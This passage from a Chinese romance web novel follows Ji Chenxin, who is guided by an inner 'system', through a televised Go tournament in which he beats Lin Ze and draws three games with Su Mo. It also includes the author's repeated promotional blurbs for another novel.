苏陌纠结的点,正是赵言权所利用的点, 所以还真就一点办法都没有。 然, 相思何解? 高傲冷峻的少年, 最终选择了远观。 上课放学途中,远远望上那么一眼,便是极致的试探了。 他不敢靠得太近,怕露了心事,引得纪辰新反感, 而太远又怕断了视线。 正所谓,进退两难,心悬半空,疼的细密。 但纪辰新真的就什么都不知道吗? 苏陌在学校的任何一点风吹草动,都很容易上论坛,甚至惹的周围人的注意。 他已经记不得这是第多少次,苏陌与他同时出现在一片区域了,说不是故意的,他都不信。 世上哪有这么多巧合,巧合到连续几天,每时每刻? 俩人虽然隔着距离,但那系了线的目光,总是缠绕在他身上,灼热又含蓄,只要他回望,对面就立马慌忙收束,就好像此地无银三百两。 纪辰新不知道该如何面对这份感情,仿佛只有逃离了校园才能真正的放松下来。 半个月的时间,过的不算快,也不算慢。 纪辰新白天上课,课余以及没课的时候会研究几个小时的棋局,但是到了晚上,他心里实在平静不下来时,便会去林泽的网吧消遣。 通常是从晚上八点玩到半夜。 而寝室12点熄灯,纪辰新基本都能赶在这之前回去,打个车的功夫也就十分钟。 林泽多次说可以给他提供包夜服务,不要钱,但纪辰新还是没有答应,到了时间,就回寝室睡觉。 就这样,时间逐渐的来到了4月5日,也就是比赛的前一日。 国际围棋联盟中心再次打电话过来,重复了一遍比赛规则。 此次比赛因为是棋手个人公开赛,所以参赛人员不止邀请了他和苏陌,还邀请了另外两名很有实力的选手,增加看点。 比赛开始将按照抽签的方式,随机匹配对手,只有最终胜利的选手,才能迎来终极对决。 当然啦,为了避免纪辰新和苏陌硬实力不足,早早地被淘汰,主办方还特意在结尾增加了一场独属于俩人的对决,以防万一。 但这在纪辰新看来,绝对的多此一举,他和苏陌都不可能败在其他人手里,所以额外添加的那场比赛根本就用不上。 他对另外两名选手没有多大的兴趣,他只在乎明天能不能一举将苏陌踢下神坛。 这一战,他等太久了,有太多东西需要发泄了。 * 翌日,纪辰新早早地就坐主办方的专车抵达了比赛地点。 【弈战天下,谁与争锋。】 还没下车,纪辰新就看到了横挂在比赛现场的横幅,‘弈天杯’的比赛现场。 除此之外,大横幅下面还悬挂了一个小横幅,【长江后浪推前浪,届届冠军不一样。】 此为‘应世杯’比赛现场。 一场比赛,两个奖杯? 搞什么啊?! 每个参加的人都拿奖呗! 系统适时出现,【昨天主办方挂电话之前,不是说了吗,这次邀请的另外两名选手,都是参加过往届世赛,夺过名次的。】 【总之这个比赛,没有你想的那么简单,除了你和苏陌两个人的噱头,主办方还拉来了另外俩人增加噱头,这么多硬实力选手,齐聚一场比赛,这个节目估计要爆。】 【参加的人,各个都不好惹,得罪了哪个都不行,多个奖杯,多条路不是!】 【而且输了的,还有安慰奖呢。】 纪辰新愣愣听着,他昨天的注意力都在苏陌身上,压根就没在意另外两位是什么来历,奖杯又是怎么安排的。 【没事,管他们什么来历,我唯一的目的就是打败苏陌。】 系统:【我觉得你已经魔怔了,只听得见苏陌两个字。你真对他没感觉?我看未必吧。】 纪辰新当即就炸了,【你胡说八道什么呢,他是男主,我的任务对象,我对他名字敏感有错吗。】 【再说了,他不是下战书了吗,我不赢,那不完了!】 系统不想跟他争,直接闭嘴。 纪辰新却还想和它讨论一二,里里外外地要解释清楚自己对苏陌的特殊。 “纪选手,可以下车了,外面的工作人员会带你去后台签到的。” 司机师傅猝不及防地一句话,顿时打断了他。 纪辰新没好气地下了车,内心的火焰更甚了,恨不得马上就比赛,就此将苏陌打趴下。 在工作人员的带领下,他很快就去到了后台。 然而,他怎么都没想到,在这,他居然还能见到熟人。 “林泽?” “我靠,你怎么在这?” 林泽刚签下自己的大名,听到这熟悉的声音,立马回头,语气是一摸一样的惊讶,“纪辰新?” “你来这干嘛?” “你” “我” 俩人的脑子跟糊了浆糊一样,宕机了半天,想破天都想不出对方跟围棋能有个毛的关系。 工作人员立马出来进行介绍。 “纪选手,这位是林泽,林选手,他是2008年那届世赛的亚军。” “林选手,这位是纪辰新,纪九段,是2012届世赛的冠军,而且是唯一一个从初段直升九段的天才型选手。” 世赛每两年举办一次,2008年,算的上是上上届了,那时候纪辰新才多大? 再加上亚军,说到底也是个第二名,大众向来只记得第一名,所以纪辰新还真不知道有林泽这号人物。 关键是赵言权也没认出来啊,这可就有点尴尬了。 林泽倒是乐观的很,“没想到啊,辰新兄弟,你居然有这么大能耐。” 林泽今年28岁,活的通透且恣意,但这都只是表面,毕竟当年冲击世冠失败后,他就变的有些堕落,不愿再关注围棋圈的任何事。 “我是美籍华裔,世赛之前都在国外生活,世赛后才在国内定居,你不认识我很正常,毕竟我低调嘛。” 所以不是本国选手吗? 美籍华裔 那他参赛的时候所代表的国家是美国? 难怪国内没有多少报道。 “这么看着我干嘛,你别看我平日里吊儿郎当,但下棋,我可是认真的。” 林泽笑着摩拳擦掌,颇有一番比试的意味了。 纪辰新也不甘认输,“居然是中华血脉,外国籍选手啊,那我必须要打的你认祖归宗了。” “嘿,你小子皮痒了是不是,等下谁打谁还不一定呢,别以为你拿了冠军,我就怕你。”林泽被他一激,也有点来劲了。 “切。”纪辰新傲娇地白了他一眼,“私下我们可以是朋友,但这种国际比赛我可不会让着你。” 林泽叉着腰,不屑道,“谁要你让,拿出你全部的真本事来!” 俩人骂骂咧咧地,一回头,另外两个选手,也不知道在一旁听多久了。 其中苏陌嘴角噙着化不开的软笑,目光落在纪辰新身上时,满是揉碎的星光与纵然。 只见他眉梢微扬,不制止也不劝解,只静静凝望,举手抬足间都是润物细无声的温柔,即便眼中的那个他,再蛮横,再任性,都仿佛不该被人惊扰,因为他爱这份鲜活。 纪辰新被他盯得只敢躲避目光,快速在纸板上签好名后,话都不想多说,直接离开了后台。 林泽莫名其妙地看着他,怎么跑了,不继续吵了? 苏陌下意识就要追出去,但理智占据上风,最终克制地止住了脚步。 他蜷了蜷手指,想着等这次赛后,俩人或许就能静下心来好好谈一谈了吧。 * 纪辰新一路跑出了后台,越跑越远,仿佛后边有鬼在追。 他轻抚胸口,压抑着慌张的心跳,不知道自己为什么会那么害怕。 到底在害怕什么呢。 是啊,到底在害怕什么呢。 苏陌一个眼神,就能让自己落荒而逃了吗? 如果真是这样,那接下来的比赛该怎么办,自己真的有勇气和信心赢吗? 纪辰新抓狂地扯了扯头发,他咬着舌尖,强迫自己冷静下来。 他才不怕呢! 他根本就不害怕苏陌,他是无法面对这份感情。 但,为什么会无法面对这份感情呢。 为什么不能像以往一样,干劲利落的断掉? 苏陌跟其他人究竟有什么不同? 他是好朋友 真的只是好朋友吗? 自己除了不想失去这份友情之外,到底还参杂了什么? 纪辰新越想越乱。 当初,他拒绝崔文和时,好像从未这么矛盾与痛苦过。 为什么会痛苦? 是因为不想拒绝? 不! 不是这样的。 纪辰新晃了晃头,他觉得自己想岔了,苏陌作为自己的任务对象,以及好朋友,突然出现偏差,这才是引得自己矛盾与痛苦的根本原因。 是的,就是这样! “喝口热水吧。” 突如其来,一声清冷的语调在耳边揉开。 纪辰新浑身一僵,吓到不敢回头。 “我有这么可怕吗?” 纪辰新心想说,有。 “为什么总是躲着我。” 你说为什么? “谢谢你应下我的追求。” 什么东西?! 他什么时候应下了? 他到底在说什么啊! “我会赢的,请你一定要信守诺言。” 原来是来放狠话的啊。 纪辰新那原本混乱的大脑,陡然清晰了起来,就连士气都大涨,背对着那人,直接竖出个中指,“老子绝不会输!” 少年听到这句话,呼吸都放轻了,他痛恨自己没出息,终是忍不住追了出来。 幸好,也不是一无所获,他终于肯理自己了,不是吗—— 作者有话说:[红心][红心][红心] 预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[眼镜][眼镜] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一个星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。 第105章 比赛正式开始的时间是九点十分。 八点左右, 主办方安排了备采环节。 其实问来问去也就那几个问题。 有没有信心夺冠? 对其他三位选手有了解吗? 最忌惮哪位选手? 为什么会忌惮? 这段时间有做哪些准备? 每个人十分钟左右的备采时间,采访完后,四人才被允许做最后的调整与歇息。 这次的比赛由于噱头够大, 所以不少记者与摄影提前了一两个小时过来,蹲素材。 纪辰新在经历了被四五个记者围追堵截后,不堪其扰地选择了率先进入赛场。 林泽紧随其后,主要是因为没多少人采访他,那些人见纪辰新走后,一窝蜂又围向了走在最后的苏陌。 纪辰新进入赛场后, 才感觉到真正地舒心, 毕竟这里非常的肃静, 没有任何嘈杂人等,只有几台运转的机器,以及几个裁判, 而那些工作人员也都各司其职。 此刻距离比赛只剩下最后十五分钟。 苏陌是在比赛开始前十分钟, 进入赛场的。 正九点, 主裁判确定比赛人员都到齐后, 才在大屏上公布此次比赛, 也就是第一轮选手的匹配情况。 纪辰新其实很希望第一轮就跟苏陌对上,那么他们就能迅速结束这次的比赛, 反正他的目标就那一个, 打败苏陌! 然天不遂人愿, 当他看到与他对弈的选手是林泽时,说不失落是假的。 看来必须得先解决掉林泽了,他倒不觉得苏陌会败给另一个选手,毕竟这场比赛,站到最后的, 只会是他和苏陌俩人。 他相信,苏陌也是这么想的。 在遇到对方之前,他们会披荆斩棘至最后,因为这关乎着俩人的承诺与约定。 他们的实力摆在这,早已看不上任何人。 换句话说,真正的对手,他们只认可彼此。 主裁判:“第一轮比赛,一场决胜负,胜利的两人下午再进行第二轮比赛,采用三番制,最终胜者可得‘弈天杯’。” 关于规则,四人早已知晓。 此刻裁判也只不过是给屏幕前的观众们讲解。 比赛全程直播,避免了不公正、不公平、不严谨的情况出现,所有人都可以实时观看棋局,领略不同选手的风采。 待坐在棋桌前时,纪辰新屏气凝神。 等再次睁眼,林泽那欠扁的笑脸便充斥在了眼前。 “咱俩打了这么多场游戏,并肩作战了多少回,这还是头一次在棋场上对弈。” “你藏的可真够深啊,纪辰新。” 纪辰新眯了眯眼,微微颔首,“彼此彼此,昨晚咱还一起玩游戏来着,你不也一点都没透露。” “害,小事一桩,哪有打游戏重要啊。”林泽吊儿郎当地笑着道。 纪辰新下意识看了眼他的食指,其实仔细观察的话,是可以看到一层被磨出的薄茧。 它很轻微,不注意根本就发现不了。 “你现在几段?” 几段? 林泽愣了几秒,才做思考,“不知道。” 不知道? 纪辰新挑眉,“四年前,你世赛夺得第二名,棋差一招输给了韩国选手,你至少有八段。” 林泽无所谓道,“你都说是四年前了,我现在的实力,我也不清楚。” 纪辰新一时没说话,从刚刚他食指的薄茧来看,林泽或许并未荒废围棋。 毕竟若真的几年不碰这玩意儿,那层薄茧估计早就消失的无影无踪了。 所以,唯一的办法,只能棋场上见真章了。 “你平时不是只打游戏吗,为什么会参加这次的比赛?” 林泽伸了个懒腰,“他们说这是一个难得的机会,可以世界冠军较量一番,听着还蛮有意思的,就过来玩玩啦。” 是吗? 所以你并没有表面上的云淡风轻吧,你还是想证明自己的。 纪辰新也不跟他绕弯子了,“林泽,让我看看你的实力究竟够不够格。” 闻言,林泽顿时收敛了笑容,“那便奉陪到底!” 猜先,纪辰新执黑先行。 春日的阳光斜斜切过棋桌,木棋盘上纵横交错,黑白棋子静卧两旁。 纪辰新指尖夹起一粒黑子,声落轻缓,如星沉野。 白子不甘示弱,对称而下,似月铺川。 俩人都在试探,就像往日打游戏时的默契开局。 他们是身经百战的队友,十手过后,才现凶相。 林泽陡然斜切,断了黑子的边路联络,纪辰新指尖微顿,眸色轻凝,这步棋看似平淡,实则暗藏伏兵,林泽是棋中高手啊。 只见少年微微扯动嘴角,指尖蹭过黑子边缘,毫不犹豫落子补断,同时斜刺一角,硬生生在白子的包围圈里撕开一道口子。 棋盘的气氛,骤然紧绷。 林泽迅速做出反应,指尖白子如疾风掠阵,转眼就在左下角布下杀招,断点丛生,黑子的几处棋眼眼看着就要被分割围剿。 阳光落在棋盘上,晕出光斑,带着几分逼人的凶险。 纪辰新的指尖悬在棋盒上方,指节微微收紧,脑子里迅速闪过往日与林泽组队开黑厮杀时,要么全胜,要么死磕,从没中途退让过的道理。 他了解林泽,也正如林泽了解他。 如此,他深吸了一口气,目光扫过棋盘角落,忽然夹起黑子,不救被困之棋,反倒在右上星位落子。 这是置之死地而后生的险招。 林泽被这步棋惊得瞳孔陡然瞪大,他捏着白子迟迟未落。 棋盘风云随着这一落子,形势突变,原本被动的黑子借右上之势,竟然隐隐牵制住了左下角的白子杀招。 黑白两条大龙相互缠绕,你断我路,我截你气,每一步都踩着生死线,稍有不慎便会满盘皆输。 俩人落子的声音越来越沉,额角都不约而同沁出了细汗。 其中,林泽的眼神亮的惊人,像一柄出鞘的剑,锋芒毕露,神色却比打游戏更显焦灼。 游戏输了能重来,但这一局定胜负的棋,他不愿就此败北。 中盘厮杀更烈了,白子骤然弃子转换,弃掉右下小块棋,转而猛攻黑子的中腹大龙,气数一点点缩减。 纪辰新的指尖被棋子磨的微微发烫,他并未轻敌,却也不敢分心,林泽的实力他看到了,确实有本事。 他盯着棋局看了好几分钟,突然轻笑一声,眼底闪过往日游戏里反杀时的狡黠,指尖黑子稳稳落在大龙腹地,竟是一步绝妙的做活之棋。 这一步落定,原本岌岌可危的黑子瞬间盘活,反倒将白子的攻势死死堵住,局势彻底逆转。 林泽盯着棋局看了半响,忽然将白子丢回了棋盒,眼底满是不甘却又服气的笑意,“你小子,还真有两下子。” “老子,游戏打不过你就算了,下棋居然还输给你,简直没天理了!” 纪辰新手中还捏着一枚黑子,嘴角扬起胜利的弧度,“这可比打游戏爽啊,你难道不爽吗。” “哈哈,这话我爱听,看来以后咱两除了开黑,又有事做了。”林泽大笑道,“好久没下过这么酣畅淋漓的棋了。” 随着最后一子的尘埃落定,黑子大龙气足眼全,白子虽败但章法不乱,棋盘上交错的痕迹,像俩人之间的情谊,默契又可靠。 一局定胜负,当纪辰新赢下这一局时,另一边,苏陌早在十分钟前就结束了棋局。 主办方很会做人,立马给他颁了个奖杯,也就是那个‘应世杯’。 只有他和苏陌两个人有。 同时,林泽手里也被塞了个什么荣誉证书,以及一套价值昂贵的定制棋具,惹的他喜笑颜开。 反正就是,不管赢还是输,主办方今日都会让每一个参赛之人开开心心地离开赛场。 记者们在第一轮比赛结束后,蜂拥而至。 “恭喜啊,纪选手!” “恭喜纪辰新选手,成功晋级下一轮。” “纪辰新九段,我想请问,围棋对你来说意味着什么?” 此刻,纪辰新被人围着,镜头怼着,显些站不住脚,只见他手握奖杯,眼神呆滞,笑容勉强,“怎么说呢,是我的命吧,毕竟三天不下棋我就活不下去!” “哈哈哈哈哈,纪选手真会说笑。” “欸,哪里是说笑,这说明纪选手爱棋如命啊!” “天啊,传下去,纪选手每日为了练棋,废寝忘食,头悬梁锥刺股啊!” 记者那嘴巴一张,就是夸赞。 纪辰新尴尬挠头,“额,呵呵,倒也没那么夸张啦,就差不多吧” 没人注意到,被挤到了角落的林泽,张了张唇,欲言又止,最后忍无可忍! 他从未见过如此厚颜无耻之人! 纪辰新你个装货,到底什么时候这么努力了? 他怎么不知道?! 连续半月与他一起在网吧鏖战到深夜的人难道是鬼吗? 记者还在追问:“那对于你的下一位选手苏陌,你有什么想说的吗?” 一听到苏陌这个名字,纪辰新就来劲,只见他挑衅一笑,垃圾话张口就来,“劝他早点跪着喊爹,输给我是他的宿命,这辈子都别想逃出我的手掌心!” “哇,怎么听着像是积怨颇深啊。” “那纪选手方便说一下,你们俩的主要矛盾吗?” “欸,哪有矛盾,他俩好着呢,在学校就是好朋友来着,而且我还看到他们今天早上一起聊天呢” “哇,照你这么说的话,怎么感觉莫名好磕?” “” 纪辰新放完那句狠话,就离开了,一局棋下了快一个多小时,是很累的。 他得去休息休息,吃点东西补充一下体力。 然而,就在他休息补充体力之时。 记者那边素材积攒完毕,每一个人都在以最快的速度整理要发表的内容,准备抢占市场,获取更多的流量。 那噱头是一个比一个猛。 什么纪辰新九段公然挑衅围棋天才苏陌 世冠纪辰新看不起国手苏陌 纪辰新大放厥词,苏陌跪地喊爹 苏陌选手被人侮辱喊爹 苏陌输了,喊纪辰新爹 然而,这些通稿标题以及内容都大差不多,没有什么突出的亮点。 直到,另一个通告,横空出世,炸裂程度,简直爆表! 那就是:纪辰新隔空向苏陌表白,说这辈子都赖定他了! 此内容一出,大众一片哗然。 无数的人磕疯了! 当纪辰新知道这条新闻时,正在喝水,差点呛死! 谁? 到底是谁? 到底是谁要害他!—— 作者有话说:纪辰新:[愤怒][愤怒][愤怒] 预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[墨镜][墨镜] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一个星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。 第106章 当苏陌得知这条新闻时, 平日里那清冷矜贵的劲儿此刻消失殆尽,只见他嘴角挂着压不下去的弧度,将那新闻看了一遍又一遍, 最后甚至直接收藏了。 与此同时,随着这个词条的出圈,主办方的这档节目算是彻底火了,无数的广告商想要临时加盟,就盯着下午的那三场比赛。 就连赵言权都打来了电话询问,“卧槽, 兄弟, 怎么回事啊?” 纪辰新正咬着一个苹果, 翻了个白眼道,“什么怎么回事,那记者乱说的。” “不是吧, 那新闻写的有鼻子有眼儿的, 而且那视频剪的, 真像那么回事。”赵言权没说自己看的津津有味, 大有看热闹不嫌事大的意思。 纪辰新深吸一口气, “你都说剪的了,那还不是他们想怎么剪就怎么剪。” “我都怀疑, 是不是苏陌授意的, 不然怎么能扯出这种莫名其妙的东西来。” “额, 不能吧,苏陌你还不了解吗,他不可能做这样的事。”赵言权脱口而出道,几乎是本能。 说完,他自己都愣了一下, 虽然早已决定不帮苏陌说任何一句好话,但出于对苏陌人品的认可,他完全是下意识的,帮他澄清。 纪辰新也没真怀疑苏陌,就是心里有气罢了,总得撒出去。 “行啦,事已至此,就这样呗,下午待我打他个落花流水,看谁还敢磕我们。” “哈哈哈哈哈,好,我等着瞧。”赵言权语气期待,“你好好休息,就不打扰你了。” 挂断电话后,纪辰新顺了顺气,才开始闭眼休息,他得保障好状态,毕竟下午还有一场硬仗要打。 * 下午的比赛,在一点半开始。 由于上午休息的早,所以大家都精神满满。 那些记者察觉到市场的变化,纷纷开始调转摄像头,朝着营造氛围感,磕cp的方向一去不复返。 纪辰新端坐在棋桌前,闭目凝神。 对面的苏陌,却静静望着他,仿若在看一件稀世珍宝。 摄像头聚焦对准,观察着俩人的神态。 场外的记者们,越看嘴角就翘的越高,怎么回事,这诡异的氛围不对劲啊! 其中,那个写出劲爆标题的记者,更是一脸姨母笑,妈耶,我磕到真的了! 待主裁判下达比赛开始的号令时,纪辰新才缓缓睁开了眼。 他没有与苏陌对视,毕竟那能穿透人心的视线,不看也感受的到。 猜先,纪辰新执黑先行。 纪辰新嘴角轻扯,“承让了。” 开局,他便布下凌厉的错小目,剑锋直指苏陌的棋腹,招招带着破釜沉舟的狠劲,他要的是速胜,不想多加纠缠,更不愿给苏陌一丝一毫的机会。 苏陌并不慌,他的白棋如流水般铺展,看似温和的小飞挂角,实则暗藏连绵杀机。 俩人一路行至中盘,都没让对方占到一点便宜。 屏幕前无数的大佬云集,围棋天才苏陌与世冠九段纪辰新,这场可遇不可求的对决,每个人都想观摩一番。 谢川庭与苏瀚阳原本还说说笑笑的来着,此刻却都敛住了呼吸,鸦雀无声。 棋盘两端,是当今棋坛最负盛名的两位少年,任何一人都已经是让人望其项背的存在了,胜负在谁,没有人敢妄下定论。 屏幕里,纪辰新觑准了对方一条大龙的薄位,悍然打入,黑子如尖刀直插腹地。 正如他这些年里研究苏陌的棋一样,早已有了各种应对之策。 看到这步棋的众人皆哗然,因为这步棋险到了极致,稍有差池,便会万劫不复。 苏陌微微蹙了下眉,他指节泛青,盯着棋盘,眸子里映着密密麻麻的黑子与白子。 转而,他抬眼瞥了眼对面的少年,只见纪辰新紧绷着下颌线,大有豁出去的无畏感。 他的招数屡次被破解,如今倒也明了,或许自己早就被研究透了。 纪辰新啊纪辰新,我该怎么说你呢? 为了拒绝我的追求,还当真是下了苦功夫。 苏陌没有选择硬杀,反而选择了以柔克刚,他弃掉数子,开始围追堵截纪辰新的缓兵。 俩人的棋绞在一起,就像是两股拧成麻花的钢绳,每一步都在拉扯,每一手都在博弈。 官子阶段,棋盘上的空位寥寥可数。 纪辰新额角的汗滴落在手背上,冰凉一片,他有些恍惚道,【系统,他绝对不止八段,实力恐怕与我不分上下。】 系统语重心长,【宿主,我早提醒过你了,没事,你别有太大压力,一局不成,我们还有两局呢。】 纪辰新咬着舌尖,他算尽了所有变化,连最细微的劫材都没放过,但苏陌却总能精准地跟上他的节奏与布局。 你收一目,他便逆收一目,你抢一个先手,他便补最后一处瑕疵。 终局数子,竟分毫不差。 纪辰新猛然抬头,撞进了苏陌那近乎执拗的目光里。 他那目光仿若在说,纪辰新,你赢不了! 第一局,历时一个半小时,俩人平局。 纪辰新下完这局,整个人都快虚脱了,他几乎是撑着一口气,才回到了休息室。 他蓄了满满的力气与苏陌对决,却怎么也没想到,短短半年的时间,苏陌成长的速度竟然这么快。 上次自己还能赢他,这次居然只能堪堪打平,简直是匪夷所思。 系统:【这就是男主,一点没变,他一向这么强。】 【不过宿主,你也先别丧气,他也没讨到好的!他为了追求你,肯定付诸了全力,但他依旧没能赢你,这说明他也拿你没办法!】 是吗? 纪辰新呼出口气,心情莫名好了点,这局虽然没赢,但苏陌估计也好不了哪去,不是吗! 休息了半小时,第二局才终于开始了。 这次,纪辰新换了棋风,不再强攻,而是以取地为主,棋盘上白子如星罗棋布,看似松散,实则处处呼应。 他要拖,他要拖到苏陌心浮气躁,拖到苏陌主动露出破绽。 然而,苏陌却像是看穿了他的心思一般,黑棋不疾不徐,与他在边角争夺,寸土不让。 这一来二去的,俩人再次来到了中盘。 右上角逐渐形成了一个大劫,这个劫关乎全局胜负,谁也不敢轻易妥协。 纪辰新找的劫材越来越重,甚至不惜自损一目,也要逼着苏陌退让。 苏陌沉吟许久,指尖悬在棋盘上,思量,不肯行差踏错一步。 良久,他才终于落下一枚黑子,竟是寻了个本身劫,硬生生将这个死劫盘活。 摄像机录下俩人的侧脸,纪辰新的睫毛在眼睑下投出一片阴影,苏陌的发丝被汗水濡湿,贴在了鬓角。 俩人呼吸都很急促,甚至在落子时微微手抖,不是因为紧张,而是每一步都耗尽了心力。 这盘棋,他们就像是在悬崖边上走钢丝,脚下是万丈深渊,身前是彼此的棋,也是彼此藏着的约定与承诺。 官子收尽,裁判数子,依旧是平局。 不管是屏幕内还是屏幕外,所有人都在感叹,这到底该如何分出胜负啊! 俩人显然都走到山穷水尽的地步了,谁也赢不了,只能平局。 众人即便是推翻重演,也无法界定,胜利究竟属于谁。 纪辰新躺在休息室的床上,嘴角扯出一道极轻极薄的笑,那笑意却半分没抵达眼底,反而先一步震碎了眼眶的湿意。 他笑了许久,依旧在笑,笑声又轻又哑,像是被什么东西扼住了喉咙,到最后,笑和哭混在了一起,他觉得自己一定是被气笑的,也是被气哭的。 他笑这荒唐的境遇,也哭自己无能无力的窘迫。 两局,整整两局,居然分不出胜负。 从未有过的事,而他自己也确实毫无保留,他不知道该怎么办了,万一最后一局还是平局呢? 系统:【没事,就算最后一局还是平局,那也是不输不赢,你们俩的约定就作不得数了!】 【你难道觉得,苏陌现在就好受?他自己提出来的约定与挑战,结果两局了,还是没能赢你,他的心理压力恐怕在你之上。】 第三局开始,纪辰新豁出去了。 他执黑,开局就将棋子布在棋盘的四角和天元,气势磅礴,如星河浩瀚。 他急需一场胜利,还是一场碾压式的胜利。 他要让苏陌明白,他们之间,只能是对手,劲敌,不可能再有别的。 苏陌执白,棋风刚猛,步步紧逼。 他不再防守,而是主动出击,他将纪辰新的布局分割,蚕食。 俩人的棋在棋盘中央展开了血战,每一步都生死未卜,每一步都惊心动魄。 纪辰新的黑棋大龙被围,他沉着脸,算无遗策,硬生生杀出一条血路。 苏陌的白子紧随其后,像影子一样,无论纪辰新走到哪里,他都能跟到,不给任何喘息的机会。 棋盘早已是一片血肉横飞的厮杀场,谁都没有退路,都在孤注一掷的冲锋。 纪辰新的额角青筋突突直跳,汗水顺着下颌线砸在棋盘边缘,晕开一小片浅痕。 对面的苏陌,这局只着了件衬衫,但此刻衬衫几乎湿透,他执棋的手因为用力,指节泛出惨白的颜色,呼吸因着棋局的绞杀,带着灼人的热度。 纪辰新咬着后槽牙,从白棋的包围圈里撕开一道口子,而苏陌几乎是同时抬手,白子落盘的脆响,带着破釜沉舟的狠劲,精准扼住黑棋的命脉。 俩人的视线在棋盘上空相撞,都带着血丝,带着不肯认输的狠劲。 他们指尖的颤抖都如出一辙,那是体力耗尽的颓势,更是精神撑到极致的紧绷。 当最后一子落下,裁判附身确认,缓缓说出,“和棋”二字时,纪辰新和苏陌几乎同时瘫坐在了椅子上。 良久。 俩人对视一眼,忽然都笑了。 笑声里带着脱力的沙哑,眼角却不约而同地沁出湿意。 周围的喧嚣好像突然被隔在了一层玻璃外,一切都变的模糊不清起来。 纪辰新抬手抹了把脸,笑的比哭还难看,他像是对自己说,又像是对这盘棋说,“也罢,也罢。” 他忽然明白了,苏陌想要赢的心是和他一样的,俩人都使出了浑身解数,只为了那个约定。 他的浑身解数是为了拒绝,而苏陌的浑身解数是为了让他接受。 他们是势均力敌的对手,又好像是天造地设的一对。 屏幕上,俩人的热度空前高涨。 网友们大刷特刷,“太配了,我宣布他俩以后就是棋坛双子星!” 几个记者磕到疯狂上头,直接将这话在大庭广众念了出来。 纪辰新别过头,避开了苏陌的目光,却感觉到对方的指尖,轻轻碰了碰他的手背,像一枚落子,温柔,却又带着不容忽视的力量。 他在试探!—— 作者有话说:[猫头][猫头][猫头] 预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[抱抱][抱抱][抱抱] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一个星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 